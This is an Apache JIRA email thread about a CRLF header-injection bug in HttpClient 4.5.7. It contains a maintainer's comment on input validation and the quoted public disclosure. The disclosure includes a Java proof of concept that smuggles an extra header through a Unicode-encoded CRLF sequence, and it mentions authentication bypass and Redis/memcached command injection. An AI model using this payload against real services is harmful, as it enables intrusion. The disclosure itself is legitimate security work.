[
https://issues.apache.org/jira/browse/HTTPCLIENT-1974?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=16797450#comment-16797450
]
Gary Gregory commented on HTTPCLIENT-1974:
------------------------------------------
Hi All:
In the case of databases, an app that allows SQL injections is poorly coded.
Even if an app does not validate input, using stored procedures can avoid SQL
injection attacks. Drawing the parallel to HttpClient: If you do not validate
input, you are open to HTTP header injection. So solution one is to validate
your input before building a request just like you should validate input before
building a SQL string.
For a second solution... well, we do not have the equivalent to store
procedures. Maybe the solution today is to point out that you can implement
your own headers (using HttpCore interfaces) that perform validation. What
would the validation rules be? No EOLs in header names and values? If we had
such a header implementation (as opposed to telling people to do it
themselves), why would you not using them by default? Performance perhaps?
In any case, this topic seems to come up again and again. It seems we should at
least document where we stand.
> CRLF injection vulnerability in setting/adding HTTP headers
> -----------------------------------------------------------
>
> Key: HTTPCLIENT-1974
> URL: https://issues.apache.org/jira/browse/HTTPCLIENT-1974
> Project: HttpComponents HttpClient
> Issue Type: Bug
> Components: HttpClient (classic)
> Affects Versions: 4.5.7
> Reporter: Filip Ochnik
> Priority: Major
>
> Hello,
>
> Note: This vulnerability has already been reported using a private channel.
> Unfortunately, it was deemed as non-issue by maintainers. I'm posting it here
> for public visibility.
>
> *Summary*
> HttpClient in versions 4.5.7 and below is vulnerable to CRLF injection when
> adding or setting headers on an HTTP request. Attacker who can control the
> value of any header in a request created using HttpClient could exploit this
> vulnerability to add arbitrary headers and attack internal services, like a
> webserver, Redis, memcached, etc.
>
> *Details*
> The current version of HttpClient does not properly filter unicode values,
> resulting in the sequence '{color:#000000}\u560d\u560a{color}' being
> converted to `\r\n` and causing unintended behavior. When the value (or part
> of the value) of any header set when constructing an HTTP request using
> HttpClient is controlled by an attacker, it allows them to insert arbitrary
> content to the new line of the HTTP header.
>
> *Proof of concept*
> Consider this piece of code, where variable "attackerControlledValue"
> simulates an attacker-controlled input.
>
> {code:java}
> import org.apache.http.client.methods.HttpGet;
> import org.apache.http.impl.client.CloseableHttpClient;
> import org.apache.http.impl.client.HttpClients;
> public class Main {
> public final static void main(String[] args) throws Exception {
> CloseableHttpClient httpclient = HttpClients.createDefault();
> String attackerControlledValue = "1\u560d\u560aX-But-Not-This-One: oh
> no!";
> try {
> HttpGet httpget = new HttpGet("http://127.0.0.1:8080/";);
> httpget.addHeader("X-I-Expect-This-Header",
> attackerControlledValue);
> httpclient.execute(httpget);
> } finally {
> httpclient.close();
> }
> }
> }{code}
>
>
> We set up a netcat listener on port 8080 and run this code:
>
> {code:java}
> $ nc -l 8080
> GET / HTTP/1.1
> X-I-Expect-This-Header: 1
> X-But-Not-This-One: oh no!
> Host: 127.0.0.1:8080
> Connection: Keep-Alive
> User-Agent: Apache-HttpClient/4.5.7 (Java/1.8.0_172)
> Accept-Encoding: gzip,deflate
> {code}
>
> We can see in the netcat output that the header
> "{color:#000000}X-But-Not-This-One{color}" is present in the request, which
> means the injection succeeded.
>
> *Attack scenarios*
> * By adding arbitrary HTTP headers it's possible to bypass authentication of
> some simple web services
> * Several simple services that communicate over HTTP (Redis, memcached) can
> be exploited by injecting valid commands
>
> *Related vulnerabilities*
> Here are some related CRLF injection vulnerabilities in other software:
> * CVE-2016-5699 in Python’s stdlib
> [https://nvd.nist.gov/vuln/detail/CVE-2016-5699]
> * CVE-2017-6508 in wget [https://nvd.nist.gov/vuln/detail/CVE-2017-6508]
> * CVE-2016-4993 in Undertow web server
> [https://nvd.nist.gov/vuln/detail/CVE-2016-4993]
> * CVE-2019-9740 in Python's stdlib again
> [https://nvd.nist.gov/vuln/detail/CVE-2019-9740]
--
This message was sent by Atlassian JIRA
(v7.6.3#76005)
---------------------------------------------------------------------
To unsubscribe, e-mail: dev-unsubscr...@hc.apache.org
For additional commands, e-mail: dev-h...@hc.apache.org
